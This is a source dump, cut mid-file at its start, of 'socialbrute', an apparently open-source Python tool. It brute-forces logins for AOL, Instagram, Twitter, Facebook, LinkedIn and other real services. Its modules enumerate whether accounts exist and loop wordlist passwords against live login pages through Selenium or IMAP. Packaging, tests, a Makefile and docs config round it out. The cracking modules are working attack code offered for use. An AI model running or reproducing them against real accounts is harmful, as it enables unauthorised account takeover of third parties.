self.port) 43 | for password in passwords: 44 | try: 45 | session = IMAP4.login(self.username, password) 46 | if (session == 'OK' or 'AUTHENTICATE completed'): 47 | found = password 48 | break 49 | except IMAP4.error: 50 | pass 51 | time.sleep(self.delay) 52 | 53 | IMAP4.logout() 54 | return found 55 | -------------------------------------------------------------------------------- /socialbrute/modules/aol.py: -------------------------------------------------------------------------------- 1 | import time 2 | import imaplib 3 | 4 | 5 | class Aol: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.host = 'imap.aol.com' 14 | self.port = 993 15 | self.wordlist = wordlist 16 | self.delay = delay 17 | 18 | def check_user(self): 19 | self.browser.driver.get('https://login.aol.com/') 20 | try: 21 | input = self.browser.wait_until_element_exists('id', 'login-username') 22 | input.clear() 23 | input.send_keys(self.username) 24 | self.browser.driver.find_element_by_id('login-signin').click() 25 | self.browser.implicitly_wait(3) 26 | if 'Sorry, we don't recognize this email.' in self.browser.driver.page_source: 27 | return False 28 | elif 'This account has been deactivated' in self.browser.driver.page_source: 29 | return False 30 | else: 31 | self.name = 'Not found' 32 | return True 33 | except BaseException: 34 | return False 35 | 36 | def crack(self): 37 | passwords = [] 38 | found = '' 39 | with open(self.wordlist, 'r') as f: 40 | for line in f: 41 | passwords.append(line.strip('\n')) 42 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port) 43 | for password in passwords: 44 | try: 45 | session = IMAP4.login(self.username, password) 46 | if (session == 'OK' or 'AUTHENTICATE completed'): 47 | found = password 48 | break 49 | except IMAP4.error: 50 | pass 51 | time.sleep(self.delay) 52 | 53 | IMAP4.logout() 54 | return found 55 | -------------------------------------------------------------------------------- /HISTORY.rst: -------------------------------------------------------------------------------- 1 | ======= 2 | History 3 | ======= 4 | 5 | **unreleased** 6 | **v1.1.1** 7 | 8 | v1.1.0 (2020-04-25) 9 | ------------------- 10 | 11 | * Removed unused imports and variables and conformed to the pep 8 style guide 12 | * Updated docs 13 | * Added tests for the new modules 14 | * Fixed the wait after the call to the page in the modules 15 | * Added new module for linkedin 16 | * Added new module for github 17 | * Added new module for gitlab 18 | * Added new module for netflix 19 | * Added new module for spotify 20 | * Fixed instagram module 21 | * Fixed twitter module 22 | * Fixed the check_user function of the hotmail module 23 | * Fixed facebook module 24 | * Added wait for page loaded 25 | * Updated travis 26 | * Fixes #7 27 | * Fixed unused variable in run method 28 | * Added new make command to test releases 29 | * Fixed unused variable in cli method 30 | * Updated makefile 31 | * Fixed tag name on bump2version 32 | 33 | v1.0.2 (2019-10-27) 34 | ------------------- 35 | 36 | * Added socialbrute tests for each module 37 | * Check if the browser has been started on travis 38 | * Added release-notes make command to generate history from the latest commits 39 | * Added chromedriver installation and jobs environments on travis 40 | * Fixed the installation of codecov in travis 41 | * Removed unused imports and variables and conformed to the PEP 8 style guide 42 | * Removed setuptools-changelog package, use only bump2version to change history 43 | * Added installation of codecov in travis 44 | * Added develop requirements 45 | * Fixed phony and added other commands in makefile 46 | * Fixed duplicate language in travis configuration 47 | 48 | v1.0.1 (2019-10-21) 49 | ------------------- 50 | 51 | * Added sudo and python language parameters 52 | * Fixed packages inside setup.py 53 | * Added --no-sandbox chrome option argument 54 | * Fixed missing dependency 55 | 56 | 1.0.0 (2019-10-14) 57 | ------------------ 58 | 59 | * First release on PyPI. 60 | -------------------------------------------------------------------------------- /socialbrute/modules/instagram.py: -------------------------------------------------------------------------------- 1 | import time 2 | from selenium.webdriver.common.keys import Keys 3 | 4 | 5 | class Instagram: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.wordlist = wordlist 14 | self.delay = delay 15 | self.url = 'https://www.instagram.com/accounts/login/' 16 | 17 | def check_user(self): 18 | self.browser.driver.get('https://instagram.com/%s' % self.username) 19 | username = '@' + self.username 20 | if username in self.browser.driver.title: 21 | try: 22 | name = self.browser.driver.find_element_by_xpath( 23 | "//span[@id=\"react-root\"]/section/main/div/header/section/div[2]/h1") 24 | self.name = name.text 25 | return True 26 | except BaseException: 27 | self.name = 'Not found' 28 | return False 29 | else: 30 | return False 31 | 32 | def crack(self): 33 | passwords = [] 34 | found = '' 35 | with open(self.wordlist, 'r') as f: 36 | for line in f: 37 | passwords.append(line.strip('\n')) 38 | for password in passwords: 39 | self.browser.driver.get(self.url) 40 | email = self.browser.wait_until_element_exists('name', 'username') 41 | email.send_keys(self.username) 42 | time.sleep(1) 43 | pwd = self.browser.driver.find_element_by_name('password') 44 | pwd.send_keys(password) 45 | time.sleep(1) 46 | pwd.send_keys(Keys.RETURN) 47 | time.sleep(2) 48 | self.browser.wait_page_loaded() 49 | url = self.browser.driver.current_url 50 | if (url != self.url) and ('Login' not in self.browser.driver.title): 51 | found = password 52 | break 53 | time.sleep(self.delay) 54 | 55 | return found 56 | -------------------------------------------------------------------------------- /socialbrute/modules/twitter.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | 4 | class Twitter: 5 | 6 | def __init__(self, browser): 7 | self.browser = browser 8 | 9 | def set_config(self, username, wordlist, delay): 10 | self.username = username 11 | self.name = '' 12 | self.wordlist = wordlist 13 | self.delay = delay 14 | # 'https://mobile.twitter.com/login' 15 | self.url = 'https://mobile.twitter.com/session/new' 16 | 17 | def check_user(self): 18 | self.browser.driver.get('https://twitter.com/%s' % self.username) 19 | if self.username in self.browser.driver.title: 20 | name = self.browser.driver.find_element_by_xpath( 21 | '//div[@class="fullname"]') 22 | #name = self.browser.driver.find_element_by_xpath('//a[@href="/%s"]' % self.username) 23 | self.name = name.text 24 | return True 25 | else: 26 | return False 27 | 28 | def crack(self): 29 | passwords = [] 30 | found = '' 31 | with open(self.wordlist, 'r') as f: 32 | for line in f: 33 | passwords.append(line.strip('\n')) 34 | for password in passwords: 35 | self.browser.driver.get(self.url) 36 | email = self.browser.wait_until_element_exists('name', 'session[username_or_email]') 37 | # email = self.browser.driver.find_element_by_name( 38 | # 'session[username_or_email]') 39 | email.send_keys(self.username) 40 | pwd = self.browser.driver.find_element_by_name('session[password]') 41 | pwd.send_keys(password) 42 | 43 | form = self.browser.driver.find_elements_by_xpath('.//form')[0] 44 | form.submit() 45 | 46 | self.browser.wait_page_loaded() 47 | 48 | url = self.browser.driver.current_url 49 | if url == "https://mobile.twitter.com/" or url == "https://mobile.twitter.com/home" or 'https://mobile.twitter.com/account/login_challenge' in url: 50 | found = password 51 | break 52 | time.sleep(self.delay) 53 | 54 | return found 55 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """The setup script.""" 5 | 6 | import os 7 | from setuptools import setup, find_packages 8 | 9 | 10 | with open('README.rst') as readme_file: 11 | readme = readme_file.read() 12 | 13 | with open('HISTORY.rst') as history_file: 14 | history = history_file.read() 15 | 16 | requirements = [ 17 | 'Click>=6.0', 18 | 'selenium>=3.141.0', 19 | 'yaspin>=0.14.0', 20 | 'terminaltables>=3.1.0', 21 | ] 22 | 23 | setup_requirements = [] 24 | 25 | test_requirements = [] 26 | 27 | about = {} 28 | here = os.path.abspath(os.path.dirname(__file__)) 29 | with open(os.path.join(here, 'socialbrute', '__init__.py')) as f: 30 | exec(f.read(), about) 31 | 32 | setup( 33 | author=about['__author__'], 34 | author_email=about['__email__'], 35 | classifiers=[ 36 | 'Development Status :: 5 - Production/Stable', 37 | 'Intended Audience :: Developers', 38 | 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)', 39 | 'Natural Language :: English', 40 | "Programming Language :: Python :: 2", 41 | 'Programming Language :: Python :: 2.7', 42 | 'Programming Language :: Python :: 3', 43 | 'Programming Language :: Python :: 3.4', 44 | 'Programming Language :: Python :: 3.5', 45 | 'Programming Language :: Python :: 3.6', 46 | 'Programming Language :: Python :: 3.7', 47 | ], 48 | description=about['__description__'], 49 | entry_points={ 50 | 'console_scripts': [ 51 | 'socialbrute=socialbrute.cli:main', 52 | ], 53 | }, 54 | install_requires=requirements, 55 | license="GNU General Public License v3", 56 | long_description=readme + '\n\n' + history, 57 | include_package_data=True, 58 | keywords='socialbrute', 59 | name='socialbrute', 60 | packages=find_packages(include=['socialbrute', 'socialbrute.modules']), 61 | setup_requires=setup_requirements, 62 | test_suite='tests', 63 | tests_require=test_requirements, 64 | url='https://github.com/5h4d0wb0y/socialbrute', 65 | version=about['__version__'], 66 | zip_safe=False, 67 | ) 68 | -------------------------------------------------------------------------------- /socialbrute/modules/facebook.py: -------------------------------------------------------------------------------- 1 | import time 2 | from selenium.common.exceptions import NoSuchElementException 3 | 4 | 5 | class Facebook: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.wordlist = wordlist 14 | self.delay = delay 15 | self.url = 'https://www.facebook.com/login.php' 16 | 17 | def check_user(self): 18 | self.browser.driver.get(self.url) 19 | email = self.browser.wait_until_element_exists('id', 'email') 20 | email.send_keys(self.username) 21 | form = self.browser.driver.find_element_by_id('login_form') 22 | form.submit() 23 | 24 | try: 25 | name = self.browser.driver.find_element_by_xpath( 26 | "//span[contains(text(), 'Log In as')]") 27 | if name: 28 | self.name = name.text.replace('Log In as ', '') 29 | return True 30 | else: 31 | return False 32 | except BaseException: 33 | return False 34 | 35 | def crack(self): 36 | passwords = [] 37 | found = '' 38 | with open(self.wordlist, 'r') as f: 39 | for line in f: 40 | passwords.append(line.strip('\n')) 41 | for password in passwords: 42 | self.browser.driver.get(self.url) 43 | try: 44 | email = self.browser.driver.find_element_by_id('email') 45 | email.send_keys(self.username) 46 | except NoSuchElementException: 47 | pass 48 | pwd = self.browser.driver.find_element_by_id('pass') 49 | pwd.send_keys(password) 50 | form = self.browser.driver.find_element_by_id('login_form') 51 | form.submit() 52 | 53 | self.browser.wait_page_loaded() 54 | 55 | url = self.browser.driver.current_url 56 | if (url != self.url) and ('login_attempt' not in url): 57 | found = password 58 | break 59 | time.sleep(self.delay) 60 | 61 | return found 62 | -------------------------------------------------------------------------------- /socialbrute/modules/linkedin.py: -------------------------------------------------------------------------------- 1 | import time 2 | from selenium.webdriver.common.keys import Keys 3 | 4 | 5 | class Linkedin: 6 | 7 | def __init__(self, browser): 8 | self.browser = browser 9 | 10 | def set_config(self, username, wordlist, delay): 11 | self.username = username 12 | self.name = '' 13 | self.wordlist = wordlist 14 | self.delay = delay 15 | self.url = 'https://www.linkedin.com/login' 16 | 17 | def check_user(self): 18 | self.browser.driver.get(self.url) 19 | email = self.browser.wait_until_element_exists('id', 'username') 20 | email.send_keys(self.username) 21 | pwd = self.browser.driver.find_element_by_id('password') 22 | pwd.send_keys('password12345') 23 | pwd.send_keys(Keys.RETURN) 24 | try: 25 | err = self.browser.driver.find_element_by_id('error-for-username') 26 | if 'we don\'t recognize that email' in err.text: 27 | return False 28 | except BaseException: 29 | pass 30 | 31 | # try to retrieve the full name of account 32 | self.browser.driver.get("https://www.linkedin.com/in/%s" % self.username) 33 | try: 34 | name = self.browser.driver.find_element_by_xpath('//h1[@class="topcard__name"]') 35 | if name: 36 | self.name = name.text 37 | return True 38 | else: 39 | return False 40 | except BaseException: 41 | return False 42 | 43 | def crack(self): 44 | passwords = [] 45 | found = '' 46 | with open(self.wordlist, 'r') as f: 47 | for line in f: 48 | passwords.append(line.strip('\n')) 49 | for password in passwords: 50 | self.browser.driver.get(self.url) 51 | email = self.browser.driver.find_element_by_id('username') 52 | email.clear() 53 | email.send_keys(self.username) 54 | time.sleep(1) 55 | pwd = self.browser.driver.find_element_by_id('password') 56 | pwd.clear() 57 | pwd.send_keys(password) 58 | time.sleep(1) 59 | pwd.send_keys(Keys.RETURN) 60 | 61 | self.browser.wait_page_loaded() 62 | 63 | url = self.browser.driver.current_url 64 | if 'login-challenge' in url or 'feed' in url: 65 | found = password 66 | break 67 | 68 | time.sleep(self.delay) 69 | 70 | return found 71 | -------------------------------------------------------------------------------- /docs/socialbrute.modules.rst: -------------------------------------------------------------------------------- 1 | socialbrute.modules package 2 | =========================== 3 | 4 | Submodules 5 | ---------- 6 | 7 | socialbrute.modules.aol module 8 | ------------------------------ 9 | 10 | .. automodule:: socialbrute.modules.aol 11 | :members: 12 | :undoc-members: 13 | :show-inheritance: 14 | 15 | socialbrute.modules.facebook module 16 | ----------------------------------- 17 | 18 | .. automodule:: socialbrute.modules.facebook 19 | :members: 20 | :undoc-members: 21 | :show-inheritance: 22 | 23 | socialbrute.modules.gmail module 24 | -------------------------------- 25 | 26 | .. automodule:: socialbrute.modules.gmail 27 | :members: 28 | :undoc-members: 29 | :show-inheritance: 30 | 31 | socialbrute.modules.hotmail module 32 | ---------------------------------- 33 | 34 | .. automodule:: socialbrute.modules.hotmail 35 | :members: 36 | :undoc-members: 37 | :show-inheritance: 38 | 39 | socialbrute.modules.instagram module 40 | ------------------------------------ 41 | 42 | .. automodule:: socialbrute.modules.instagram 43 | :members: 44 | :undoc-members: 45 | :show-inheritance: 46 | 47 | socialbrute.modules.twitter module 48 | ---------------------------------- 49 | 50 | .. automodule:: socialbrute.modules.twitter 51 | :members: 52 | :undoc-members: 53 | :show-inheritance: 54 | 55 | socialbrute.modules.vk module 56 | ----------------------------- 57 | 58 | .. automodule:: socialbrute.modules.vk 59 | :members: 60 | :undoc-members: 61 | :show-inheritance: 62 | 63 | socialbrute.modules.yahoo module 64 | -------------------------------- 65 | 66 | .. automodule:: socialbrute.modules.yahoo 67 | :members: 68 | :undoc-members: 69 | :show-inheritance: 70 | 71 | socialbrute.modules.spotify module 72 | ---------------------------------- 73 | 74 | .. automodule:: socialbrute.modules.spotify 75 | :members: 76 | :undoc-members: 77 | :show-inheritance: 78 | 79 | socialbrute.modules.netflix module 80 | ---------------------------------- 81 | 82 | .. automodule:: socialbrute.modules.netflix 83 | :members: 84 | :undoc-members: 85 | :show-inheritance: 86 | 87 | socialbrute.modules.gitlab module 88 | --------------------------------- 89 | 90 | .. automodule:: socialbrute.modules.gitlab 91 | :members: 92 | :undoc-members: 93 | :show-inheritance: 94 | 95 | socialbrute.modules.github module 96 | --------------------------------- 97 | 98 | .. automodule:: socialbrute.modules.github 99 | :members: 100 | :undoc-members: 101 | :show-inheritance: 102 | 103 | socialbrute.modules.linkedin module 104 | ----------------------------------- 105 | 106 | .. automodule:: socialbrute.modules.linkedin 107 | :members: 108 | :undoc-members: 109 | :show-inheritance: 110 | 111 | 112 | Module contents 113 | --------------- 114 | 115 | .. automodule:: socialbrute.modules 116 | :members: 117 | :undoc-members: 118 | :show-inheritance: 119 | -------------------------------------------------------------------------------- /tests/test_socialbrute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """Tests for `socialbrute` package.""" 5 | 6 | 7 | import unittest 8 | from click.testing import CliRunner 9 | 10 | from socialbrute import socialbrute 11 | from socialbrute import browser 12 | from socialbrute import cli 13 | 14 | 15 | class TestSocialbrute(unittest.TestCase): 16 | """Tests for `socialbrute` package.""" 17 | 18 | def setUp(self): 19 | """Start browser.""" 20 | self.browser = browser.Browser() 21 | self.browser.start(headless=True) 22 | 23 | def tearDown(self): 24 | """Stop browser.""" 25 | self.browser.stop() 26 | 27 | def test_check_aol_user(self): 28 | """Test Aol.""" 29 | sb = socialbrute.Aol(self.browser) 30 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 31 | assert sb.check_user() == 0 32 | 33 | def test_check_facebook_user(self): 34 | """Test Facebook.""" 35 | sb = socialbrute.Facebook(self.browser) 36 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 37 | assert sb.check_user() == 0 38 | 39 | def test_check_gmail_user(self): 40 | """Test GMail.""" 41 | sb = socialbrute.Gmail(self.browser) 42 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 43 | assert sb.check_user() == 0 44 | 45 | def test_check_hotmail_user(self): 46 | """Test Hotmail.""" 47 | sb = socialbrute.Hotmail(self.browser) 48 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 49 | assert sb.check_user() == 0 50 | 51 | def test_check_instagram_user(self): 52 | """Test Instagram.""" 53 | sb = socialbrute.Instagram(self.browser) 54 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 55 | assert sb.check_user() == 0 56 | 57 | def test_check_twitter_user(self): 58 | """Test Twitter.""" 59 | sb = socialbrute.Twitter(self.browser) 60 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 61 | assert sb.check_user() == 0 62 | 63 | def test_check_vk_user(self): 64 | """Test Vk.""" 65 | sb = socialbrute.Vk(self.browser) 66 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 67 | assert sb.check_user() == 0 68 | 69 | def test_check_yahoo_user(self): 70 | """Test Yahoo.""" 71 | sb = socialbrute.Yahoo(self.browser) 72 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 73 | assert sb.check_user() == 0 74 | 75 | def test_check_spotify_user(self): 76 | """Test Spotify.""" 77 | sb = socialbrute.Spotify(self.browser) 78 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 79 | assert sb.check_user() == 0 80 | 81 | def test_check_netflix_user(self): 82 | """Test Netflix.""" 83 | sb = socialbrute.Netflix(self.browser) 84 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 85 | assert sb.check_user() == 0 86 | 87 | def test_check_gitlab_user(self): 88 | """Test Gitlab.""" 89 | sb = socialbrute.Gitlab(self.browser) 90 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 91 | assert sb.check_user() == 0 92 | 93 | def test_check_github_user(self): 94 | """Test Github.""" 95 | sb = socialbrute.Github(self.browser) 96 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 97 | assert sb.check_user() == 0 98 | 99 | def test_check_linkedin_user(self): 100 | """Test Linkedin.""" 101 | sb = socialbrute.Linkedin(self.browser) 102 | sb.set_config('socialbrute_username', 'wordlist.txt', 1) 103 | assert sb.check_user() == 0 104 | 105 | def test_command_line_interface(self): 106 | """Test the CLI.""" 107 | runner = CliRunner() 108 | help_result = runner.invoke(cli.main, ['--help']) 109 | assert help_result.exit_code == 0 110 | assert 'Show this message and exit.' in help_result.output 111 | -------------------------------------------------------------------------------- /CONTRIBUTING.rst: -------------------------------------------------------------------------------- 1 | .. highlight:: shell 2 | 3 | ============ 4 | Contributing 5 | ============ 6 | 7 | Contributions are welcome, and they are greatly appreciated! Every little bit 8 | helps, and credit will always be given. 9 | 10 | You can contribute in many ways: 11 | 12 | Types of Contributions 13 | ---------------------- 14 | 15 | Report Bugs 16 | ~~~~~~~~~~~ 17 | 18 | Report bugs at https://github.com/5h4d0wb0y/socialbrute/issues. 19 | 20 | If you are reporting a bug, please include: 21 | 22 | * Your operating system name and version. 23 | * Any details about your local setup that might be helpful in troubleshooting. 24 | * Detailed steps to reproduce the bug. 25 | 26 | Fix Bugs 27 | ~~~~~~~~ 28 | 29 | Look through the GitHub issues for bugs. Anything tagged with "bug" and "help 30 | wanted" is open to whoever wants to implement it. 31 | 32 | Implement Features 33 | ~~~~~~~~~~~~~~~~~~ 34 | 35 | Look through the GitHub issues for features. Anything tagged with "enhancement" 36 | and "help wanted" is open to whoever wants to implement it. 37 | 38 | Write Documentation 39 | ~~~~~~~~~~~~~~~~~~~ 40 | 41 | socialbrute could always use more documentation, whether as part of the 42 | official socialbrute docs, in docstrings, or even on the web in blog posts, 43 | articles, and such. 44 | 45 | Submit Feedback 46 | ~~~~~~~~~~~~~~~ 47 | 48 | The best way to send feedback is to file an issue at https://github.com/5h4d0wb0y/socialbrute/issues. 49 | 50 | If you are proposing a feature: 51 | 52 | * Explain in detail how it would work. 53 | * Keep the scope as narrow as possible, to make it easier to implement. 54 | * Remember that this is a volunteer-driven project, and that contributions 55 | are welcome :) 56 | 57 | Get Started! 58 | ------------ 59 | 60 | Ready to contribute? Here's how to set up `socialbrute` for local development. 61 | 62 | 1. Fork the `socialbrute` repo on GitHub. 63 | 2. Clone your fork locally:: 64 | 65 | $ git clone git@github.com:your_name_here/socialbrute.git 66 | 67 | 3. Install your local copy into a virtualenv. Assuming you have virtualenvwrapper installed, this is how you set up your fork for local development:: 68 | 69 | $ mkvirtualenv socialbrute 70 | $ cd socialbrute/ 71 | $ python setup.py develop 72 | 73 | 4. Create a branch for local development:: 74 | 75 | $ git checkout -b name-of-your-bugfix-or-feature 76 | 77 | Now you can make your changes locally. 78 | 79 | 5. When you're done making changes, check that your changes pass flake8 and the 80 | tests, including testing other Python versions with tox:: 81 | 82 | $ flake8 socialbrute tests 83 | $ python setup.py test or py.test 84 | $ tox 85 | 86 | To get flake8 and tox, just pip install them into your virtualenv. 87 | 88 | 6. Commit your changes and push your branch to GitHub:: 89 | 90 | $ git add . 91 | $ git commit -m "Your detailed description of your changes." 92 | $ git push origin name-of-your-bugfix-or-feature 93 | 94 | 7. Submit a pull request through the GitHub website. 95 | 96 | Pull Request Guidelines 97 | ----------------------- 98 | 99 | Before you submit a pull request, check that it meets these guidelines: 100 | 101 | 1. The pull request should include tests. 102 | 2. If the pull request adds functionality, the docs should be updated. Put 103 | your new functionality into a function with a docstring, and add the 104 | feature to the list in README.rst. 105 | 3. The pull request should work for Python 2.7, 3.4, 3.5 and 3.6, and for PyPy. Check 106 | https://travis-ci.org/5h4d0wb0y/socialbrute/pull_requests 107 | and make sure that the tests pass for all supported Python versions. 108 | 109 | Tips 110 | ---- 111 | 112 | To run a subset of tests:: 113 | 114 | 115 | $ python -m unittest tests.test_socialbrute 116 | 117 | Deploying 118 | --------- 119 | 120 | A reminder for the maintainers on how to deploy. 121 | Make sure all your changes are committed (including an entry in HISTORY.rst). 122 | Then run:: 123 | 124 | $ bumpversion patch # possible: major / minor / patch 125 | $ git push 126 | $ git push --tags 127 | 128 | Travis will then deploy to PyPI if tests pass. 129 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all 2 | all: help 3 | 4 | define BROWSER_PYSCRIPT 5 | import os, webbrowser, sys 6 | 7 | try: 8 | from urllib import pathname2url 9 | except: 10 | from urllib.request import pathname2url 11 | 12 | webbrowser.open("file://" + pathname2url(os.path.abspath(sys.argv[1]))) 13 | endef 14 | export BROWSER_PYSCRIPT 15 | 16 | define PRINT_HELP_PYSCRIPT 17 | import re, sys 18 | 19 | for line in sys.stdin: 20 | match = re.match(r'^([a-zA-Z_-]+):.*?## (.*)$$', line) 21 | if match: 22 | target, help = match.groups() 23 | print("%-20s %s" % (target, help)) 24 | endef 25 | export PRINT_HELP_PYSCRIPT 26 | 27 | BROWSER := python -c "$$BROWSER_PYSCRIPT" 28 | 29 | .PHONY: help 30 | help: 31 | @python -c "$$PRINT_HELP_PYSCRIPT" < $(MAKEFILE_LIST) 32 | 33 | .PHONY: clean 34 | clean: clean-build clean-pyc clean-test ## remove all build, test, coverage and Python artifacts 35 | 36 | .PHONY: clean-build 37 | clean-build: ## remove build artifacts 38 | rm -fr build/ 39 | rm -fr dist/ 40 | rm -fr .eggs/ 41 | find . -name '*.egg-info' -exec rm -fr {} + 42 | find . -name '*.egg' -exec rm -f {} + 43 | 44 | .PHONY: clean-pyc 45 | clean-pyc: ## remove Python file artifacts 46 | find . -name '*.pyc' -exec rm -f {} + 47 | find . -name '*.pyo' -exec rm -f {} + 48 | find . -name '*~' -exec rm -f {} + 49 | find . -name '__pycache__' -exec rm -fr {} + 50 | 51 | .PHONY: clean-test 52 | clean-test: ## remove test and coverage artifacts 53 | rm -fr .tox/ 54 | rm -f .coverage 55 | rm -fr htmlcov/ 56 | rm -fr .pytest_cache 57 | 58 | .PHONY: flake8 59 | flake8: ## check format style with flake8 60 | flake8 socialbrute tests 61 | 62 | .PHONY: test-lint 63 | test-lint: clean-pyc flake8 ## test format style with flake8 64 | 65 | autoflake: 66 | autoflake -ir --remove-all-unused-imports --remove-unused-variables ./socialbrute 67 | autoflake -ir --remove-all-unused-imports --remove-unused-variables ./tests 68 | 69 | autopep8: 70 | autopep8 -ir --aggressive --max-line-length=120 ./socialbrute 71 | autopep8 -ir --aggressive --max-line-length=120 ./tests 72 | 73 | .PHONY: auto-lint 74 | auto-lint: autoflake autopep8 ## automatically remove all unused imports and variables and conform to the PEP 8 style guide 75 | 76 | .PHONY: test 77 | test: ## run tests quickly with the default Python 78 | python3 setup.py test 79 | 80 | .PHONY: test-all 81 | test-all: ## run tests on every Python version with tox 82 | tox 83 | 84 | .PHONY: coverage 85 | coverage: ## check code coverage quickly with the default Python 86 | coverage run --source socialbrute setup.py test 87 | coverage report -m 88 | coverage html 89 | $(BROWSER) htmlcov/index.html 90 | 91 | .PHONY: docs 92 | docs: ## generate Sphinx HTML documentation, including API docs 93 | rm -f docs/socialbrute.rst 94 | rm -f docs/modules.rst 95 | sphinx-apidoc -o docs/ socialbrute 96 | $(MAKE) -C docs clean 97 | $(MAKE) -C docs html 98 | $(BROWSER) docs/_build/html/index.html 99 | 100 | .PHONY: servedocs 101 | servedocs: docs ## compile the docs watching for changes 102 | watchmedo shell-command -p '*.rst' -c '$(MAKE) -C docs html' -R -D . 103 | 104 | .PHONY: dist 105 | dist: clean ## builds source and wheel package 106 | python3 setup.py sdist 107 | python3 setup.py bdist_wheel 108 | ls -l dist 109 | 110 | .PHONY: install 111 | install: clean ## install the package to the active Python's site-packages 112 | python3 setup.py install 113 | 114 | .PHONY: bump-patch 115 | bump-patch: ## bump the patch version 116 | bump2version patch 117 | 118 | .PHONY: bump-minor 119 | bump-minor: ## bump the minor version 120 | bump2version minor 121 | 122 | .PHONY: bump-major 123 | bump-major: ## bump the major version 124 | bump2version major 125 | 126 | define RELEASE_NOTES 127 | import re, os 128 | 129 | curtag = os.popen('git describe --tags --abbrev=0').read() 130 | cmd = 'git log %s..HEAD --oneline' % curtag.rstrip() 131 | output = os.popen(cmd).readlines() 132 | 133 | print('Add the following to the history:\n') 134 | 135 | for line in output: 136 | if line == '' or line == '\n': 137 | pass 138 | match = re.sub(r'^[0-9a-fA-F]+\s', '', line.rstrip()) 139 | print('* %s' % match.capitalize()) 140 | endef 141 | export RELEASE_NOTES 142 | 143 | .PHONY: release-notes 144 | release-notes: ## extract the latest commits to add to the changelog 145 | python -c "$$RELEASE_NOTES" 146 | 147 | .PHONY: release-test 148 | release-test: dist ## package and upload a release 149 | twine upload --repository testpypi dist/* 150 | 151 | .PHONY: release 152 | release: dist ## package and upload a release 153 | twine upload --repository pypi --verbose dist/* 154 | -------------------------------------------------------------------------------- /docs/conf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # 4 | # socialbrute documentation build configuration file, created by 5 | # sphinx-quickstart on Fri Jun 9 13:47:02 2017. 6 | # 7 | # This file is execfile()d with the current directory set to its 8 | # containing dir. 9 | # 10 | # Note that not all possible configuration values are present in this 11 | # autogenerated file. 12 | # 13 | # All configuration values have a default; values that are commented out 14 | # serve to show the default. 15 | 16 | # If extensions (or modules to document with autodoc) are in another 17 | # directory, add these directories to sys.path here. If the directory is 18 | # relative to the documentation root, use os.path.abspath to make it 19 | # absolute, like shown here. 20 | # 21 | import os 22 | import sys 23 | sys.path.insert(0, os.path.abspath('..')) 24 | 25 | import socialbrute 26 | 27 | # -- General configuration --------------------------------------------- 28 | 29 | # If your documentation needs a minimal Sphinx version, state it here. 30 | # 31 | # needs_sphinx = '1.0' 32 | 33 | # Add any Sphinx extension module names here, as strings. They can be 34 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom ones. 35 | extensions = ['sphinx.ext.autodoc', 'sphinx.ext.viewcode'] 36 | 37 | # Add any paths that contain templates here, relative to this directory. 38 | templates_path = ['_templates'] 39 | 40 | # The suffix(es) of source filenames. 41 | # You can specify multiple suffix as a list of string: 42 | # 43 | # source_suffix = ['.rst', '.md'] 44 | source_suffix = '.rst' 45 | 46 | # The master toctree document. 47 | master_doc = 'index' 48 | 49 | # General information about the project. 50 | project = u'socialbrute' 51 | copyright = socialbrute.__copyright__ 52 | author = socialbrute.__author__ 53 | 54 | # The version info for the project you're documenting, acts as replacement 55 | # for |version| and |release|, also used in various other places throughout 56 | # the built documents. 57 | # 58 | # The short X.Y version. 59 | version = socialbrute.__version__ 60 | # The full version, including alpha/beta/rc tags. 61 | release = socialbrute.__version__ 62 | 63 | # The language for content autogenerated by Sphinx. Refer to documentation 64 | # for a list of supported languages. 65 | # 66 | # This is also used if you do content translation via gettext catalogs. 67 | # Usually you set "language" from the command line for these cases. 68 | language = None 69 | 70 | # List of patterns, relative to source directory, that match files and 71 | # directories to ignore when looking for source files. 72 | # This patterns also effect to html_static_path and html_extra_path 73 | exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] 74 | 75 | # The name of the Pygments (syntax highlighting) style to use. 76 | pygments_style = 'sphinx' 77 | 78 | # If true, `todo` and `todoList` produce output, else they produce nothing. 79 | todo_include_todos = False 80 | 81 | 82 | # -- Options for HTML output ------------------------------------------- 83 | 84 | # The theme to use for HTML and HTML Help pages. See the documentation for 85 | # a list of builtin themes. 86 | # 87 | html_theme = 'alabaster' 88 | 89 | # Theme options are theme-specific and customize the look and feel of a 90 | # theme further. For a list of options available for each theme, see the 91 | # documentation. 92 | # 93 | # html_theme_options = {} 94 | 95 | # Add any paths that contain custom static files (such as style sheets) here, 96 | # relative to this directory. They are copied after the builtin static files, 97 | # so a file named "default.css" will overwrite the builtin "default.css". 98 | #html_static_path = ['_static'] 99 | html_static_path = [] 100 | 101 | # -- Options for HTMLHelp output --------------------------------------- 102 | 103 | # Output file base name for HTML help builder. 104 | htmlhelp_basename = 'socialbrutedoc' 105 | 106 | 